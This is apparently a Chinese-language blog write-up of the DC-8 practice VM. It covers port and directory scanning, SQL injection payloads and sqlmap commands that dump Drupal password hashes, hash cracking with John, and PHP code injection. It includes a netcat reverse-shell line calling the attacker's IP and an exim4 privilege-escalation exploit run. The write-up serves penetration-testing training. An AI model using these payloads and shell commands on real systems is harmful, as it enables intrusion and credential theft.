我讨厌温柔的人.|

AgonySec

园龄:1年10个月粉丝:8关注:2

DC-8

靶机描述

链接 https://www.five86.com/dc-8.html
发布日期 2019年9月4日
作者 DCAU
难度 简单

环境搭建

  可以用vmware导入,也可以使用virtualbox导入,但是要注意网络设置,需要与你的攻击机处于同一网段。

靶机渗透

1.信息收集

靶机页面:

  是一个登录页面

image

  ‍

扫描主机:

image

  发现目标ip​为192.168.98.138

扫描端口:

masscan --rate=100000 -p 0-65535 192.168.98.138

image

  发现22端口和80端口开放

详细扫描:

nmap -T4 -sV -O -p 22,80 192.168.98.138

image

gobuster目录扫描

gobuster dir -e -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,zip,html -u http://192.168.30.206 -t 30

image

image

web应用指纹信息

whatweb http://192.168.98.138

image

目录扫描

dirb http://192.168.98.138 /usr/share/dirb/wordlists/big.txt

  这个字典是工具自带的

image

  抓到一个这种页面

image

  ‍

2.漏洞挖掘

sql注入

  当点击这个welcome to DC 4​ 的时候,url发生了变化,出现了 ?nid=1​,这里可能是一个注入点,对其测试

image

联合注入

判断是否存在注入
?nid=1 and 1=1#

image

?nid=1 and 1=2#

image

  可以发现那块显示消失了,可以判断这里是数值型注入

判断列数
http://192.168.98.138/
?nid=1 order by 1 #

image

http://192.168.98.138/
?nid=1 order by 2 #

image

  可以判断列数为1

  ‍

判断显位
http://192.168.98.138/
?nid=-1 union select 1 #

image

  ‍

获取数据

  获取数据库名 :d7db

http://192.168.98.138/
?nid=-1 union select database() #

image

  获取版本号:

http://192.168.98.138/
?nid=-1 union select version() #

image

  获取该数据库的所有表名:

image

  查询users表的列名

http://192.168.98.138/
?nid=-1 union select group_concatmap(column_name) from information_schema.columns where table_schema='d7db' and table_name='users' #

image

  获取user表的数据

http://192.168.98.138/
?nid=-1 union select group_concat(name) from users #

image

http://192.168.98.138/
?nid=-1 union select group_concat(pass) from users #

image

报错注入

  当输入一个 '​时,报错如下:

image

  这里可以使用报错注入:

http://192.168.98.138/?nid=1 and updatexml(1,concat(0x7e,version(),0x7e),1) #

image

  使用的是MariaDB ​数据库

image

  数据库名为:d7db

  ‍

  ‍

image

http://192.168.98.138/
?nid=1 and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='d7db' ),1,30),0x7e),1) #

  ‍

image

image

image

image

  ‍

image

  由于xpath只会报错32个字符,所以可以使用​substr()​​ 函数进行字符串截取,所以它就是这点不好!显示的字符有限,每次都只能显示一部分,如果数据非常庞大的话,就很麻烦。。。。。cao。。。有时候在没有工具的情况,并且数据量很庞大,还是不要用报错注入。。。

sqlmap自动注入

查询当前数据库
 sqlmap -u 'http://192.168.98.138/?nid=1' -current-db -batch

image

查询所有数据库
sqlmap -u 'http://192.168.98.138/?nid=1' --dbs -batch  

image

  我去,正好就这2个数据库,真的好家伙

  ‍

查表
sqlmap -u 'http://192.168.98.138/?nid=1' -D d7db --tables -batch

image

  ‍

  ‍

查列
sqlmap -u 'http://192.168.98.138/?nid=1' -D d7db -T users --columns -batch

image

  ‍

查数据
sqlmap -u 'http://192.168.98.138/?nid=1' -D d7db -T users -C login,name,pass --dump -batch

image

使用John进行暴力破解

  获取的账号密码:

admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z 
john  | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF

  密码为hash值,可以借助john密码工具破解,保存john账户的密码为dc8.txt​文件

john dc8.txt

image

  密码为:turtle

可以将破解出来的密码尝试ssh远程登录

  发现ssh远程登录失败,发现需要使用公私钥登录

image

image

  ‍

在此网页尝试登录,该网页由前面目录扫描得到

http://192.168.98.138/user

image

  用之前解密的账号密码登录:john:turlte 密码是对的,但是被禁止登录了,不知道什么情况,我看别人都是可以登录来着。。。

image

  我找到原因了,大概这是不在一个网段上访问的原因,我上面是在主机上访问的,在同一网段的kali上就可以成功登录了:

image

  ‍

远程代码执行漏洞

  1.这里有个地方可以编辑php代码:

image

image

  编写一个php代码:

image

  返回到view页面,提交如下,但是没有任何回显:

image

  按照网上的说法,php代码保存后会执行代码,这应该是在靶机上已经执行了代码,只是在后台不会显示出来。

  这里是可以远程代码执行的,可以用nc反弹shell

3.漏洞利用

方法一:编写反弹shell脚本

  我们尝试执行PHP反弹shell脚本,将原有的

flag

进行保留,防止报错

<p>flag</p>
<?php
system("nc -e /bin/bash 192.168.98.136 4567");
?>

image

  返回到view页面提交:

image

  kali开始监听:

nc -lvvp 4567

image

  成功接收到会话:

image

  现在成功拿到shell了,接下来就是提权了

方法二:

1. 使用msfvenom制作反弹shell脚本:

  制作一个php的payload:

image

2.将php代码复制到网站中

image

  ‍

3.msf开始监听:

image

image

4.提交代码

  此时后台默认执行所编写的php脚本代码

image

  可以发现,页面一直在跳转中,这时候kali已经拿到shell了

  ‍

5.拿到shell,并用python打开一个标准shell

  监听到会话,进入shell

image

python -c "import pty;pty.spawn('/bin/bash')"

image

  查看一下目录有无好东西:并没有发现什么

image

  ‍

4.提权

  查看当前权限:

image

  1.find 命令查找具有sudo权限的命令,发现exim4在使用时具有root权限

find / -perm -u=s -type f 2>/dev/null

image

  2.查看exim4版本

image

  3.查询exim4版本的漏洞,选择相近的版本漏洞利用

image

  4.将脚本复制到/tmp目录下

image

  进入tmp目录,开启python服务器

image

  因为其他目录有一定操作权限限制,所以我们操作靶机的tmp目录:

image

./46996.sh -m setuid 
提权失败

image

./46996.sh -m netcat
提权成功

image

  ‍

  flag在root目录下,有了root权限才能读取root目录下的内容:

image

实验总结

  这个靶场考察了很多内容,是一个比较全面的靶场,对于新手来说是一个不错的靶场,提升总结利用能力

  知识点有:目录扫描,sql注入,远程代码执行,反弹shell,提权时使用find查找可以执行的命令,对命令exim的版本提权漏洞等。

  ‍

本文作者:AgonySec

本文链接:https://www.cnblogs.com/agonysec/p/18304749/dc8-17tsu

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   AgonySec  阅读(13)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起